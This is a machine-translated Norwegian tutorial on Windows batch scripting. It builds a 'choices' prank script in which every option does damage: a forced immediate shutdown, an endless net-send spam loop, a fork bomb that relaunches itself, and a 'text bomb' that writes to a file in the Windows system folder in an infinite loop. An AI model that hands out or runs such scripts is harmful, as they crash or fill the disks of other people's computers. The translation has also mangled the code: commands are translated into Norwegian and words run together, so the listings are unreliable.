Innholdsfortegnelse:
- Trinn 1: Formatering av teksten min, titlene og Cls
- Trinn 2: Initialiserer variabler, får brukerinput og if -erklæringen
- Trinn 3: Rørkommando, asynkrone kommandoer og miljøvariabler
- Trinn 4: Hva skjer? Ord
Video: Batchopplæring - Ta 2: 4 -trinn
2024 Forfatter: John Day | [email protected]. Sist endret: 2024-01-30 11:25
Ok, som jeg sa i min forrige opplæring om batch (https://www.instructables.com/id/EZ049TMM19EWPKGWKH/#CEINEJV64U3EWP86YUP), jeg planlegger å lage en ekspansiv 3 -delt (eller ta) opplæring på batch. Som skal dekke det meste du trenger å vite for å gjøre det du vil med batch. Filen vedlagt nedenfor er den konkurrerte.bat (batch) -filen laget av meg, laconix / inevitable_chaos
Trinn 1: Formatering av teksten min, titlene og Cls
Greit å begynne med, jeg viser deg koden;
@echo offtitle Valg.. [av laconix] clsecho Du har noen valg å gjøre..echo.. gjør feil valg men og lider konsekvensene! echo.pause: menuclsecho.echo.echo.echo.echo. ekko / ------------------------------ / echo / Velg et tall mellom 1 og 3 / echo (-1.. 2.. 3 -) echo / Hvert valg, men ett er dårlig! /ekko \------------------------------/ tittel i utgangspunktet angi tittelen for ledeteksten, så tittel instructables.com er kult! cls fjerner bare cmd for inngang eller utgang Du bør vite hva ekko gjør nå, men ekko. lager en ny linje som er nyttig for formatering.: menyen selv om jeg har dekket dette i min forrige opplæring, er det verdt å gå om igjen, i hovedsak skaper det et punkt i et program der du kan GOTO når som helst. Resten av denne delen er bare formatering.: D
Trinn 2: Initialiserer variabler, får brukerinput og if -erklæringen
Igjen vil jeg vise deg koden og forklare den;
sett valg = nadaecho?.: Hva & aposll det være:.? sett /p valg = Ha? clsif % choice % == 1 GOTO oneif % choice % == 2 GOTO twoif % choice % == 3 GOTO threemsg * Verken 1, 2 eller 3 eh? Synd, bye bye..stopp -s -f -t 00 set choice = nada, hva dette gjør er å lage eller initialisere variabelen med startverdien eller "nada", eller ingenting.: D En variabel er som en beholder som lagrer informasjon for deg til den ikke lenger er nødvendig eller programmet stenger. sett /p valgte =, dette får brukerens input ved å bruke kommandoen set med argumentet /p som forteller kommandoen å ha en ledetekst. Så i utgangspunktet set /p choice = hvilket tall? er som å stille et spørsmål og de skriver svaret. hvis if -setningen fungerer som sådan. Hvis tilstand == true dothisSå i utgangspunktet sier det at hvis % choice % er lik 1 GOTO er det en som ikke er sant, den går bare over på neste linje. shutdown -s -f -t 00 slår bare av datamaskinen og tvinger alle programmer til å lukke umiddelbart.
Trinn 3: Rørkommando, asynkrone kommandoer og miljøvariabler
Igjen, kode først, forklaring etter;
: onemsg * Så du valgte #1, trodde du at du kunne være trygg? msg * FEIL!: netspamnet send * laconix regler! GOTO netspam: twoshutdown -s -t 10pausemsg * Håper du får dette i tide, for dette var det trygge … shutdown -aGOTO hell: threemsg * Dette er det sikre nummeret … pause: forkstart valg.bat | msg * Memory wipeout! GOTO fork: hellmsg * spøk, de & aposre alle dårlige!: textbombecho laconix regler! >> %systemroot %/laconix.txtGOTO: textbomb: oneBasically bare går inn i en uendelig GOTO loop. Veldig lik gaffelbomben eksempel 2 i den første opplæringen.:twoExecute the command shutdown -s -t 10 "the pause s, if they don't press a key in time your computer shutdown, if they make it it aborts and gjør dem GOTO helvete: helvete Forteller dem at ingen av dem var gode, gjør det jeg kaller en tekstbombe. Hvilke rør (>>) kommandoen ekko laconix regler! ' til %systemroot %/laconix.txt i en / n uendelig GOTO -løkke. %systemroot %er en miljøvariabel som forteller filen å lagre i/windows/katalogen, uansett navn på rotstasjonen, dvs. C;/, E:/, Z:/osv ! angir | asynkrone kommandoer, som i utgangspunktet betyr at de har utført samtidig.
Trinn 4: Hva skjer? Ord
Takk for at du leser opplæringen min, håper du liker videoen. Lærte noe.
Og jeg håper du fortsetter interessen for datamaskiner og mine instrukser. Følg med på min siste opplæring i denne serien snart!